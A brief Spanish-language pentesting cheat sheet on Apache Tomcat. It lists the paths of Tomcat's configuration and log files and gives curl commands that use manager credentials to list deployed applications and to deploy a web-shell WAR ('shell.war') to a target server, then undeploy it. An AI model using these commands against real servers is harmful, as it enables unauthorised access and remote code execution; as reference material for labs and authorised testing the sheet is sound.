Tomcat - Configuración y Explotación

Tomcat - Configuración y Explotación

Rutas Importantes

Ruta Descripcion
/etc/tomcat9/tomcat-users.xml Usuarios y roles
/etc/tomcat9/server.xml Configuracion del servidor y puertos
/etc/tomcat9/web.xml Configuracion global de servlets
/etc/tomcat9/context.xml Configuracion de recursos JNDI
/var/lib/tomcat9/webapps/ Directorio donde se suben los archivos .war
/var/log/tomcat9/catalina.out Logs principales del servidor

Enumeracion

# Listar aplicaciones
curl -s -u '<user>:<password>' 'http://target:8080/manager/text/list'

# Manager app with authentication
curl -u 'username:password' http://target.com:8080/manager/text/list

Despliegue de WAR

# Deploy WAR file
curl -u 'admin:password' \
  --upload-file shell.war \
  http://target.com:8080/manager/text/deploy?path=/shell

# Undeploy application
curl -u 'admin:password' \
  http://target.com:8080/manager/text/undeploy?path=/shell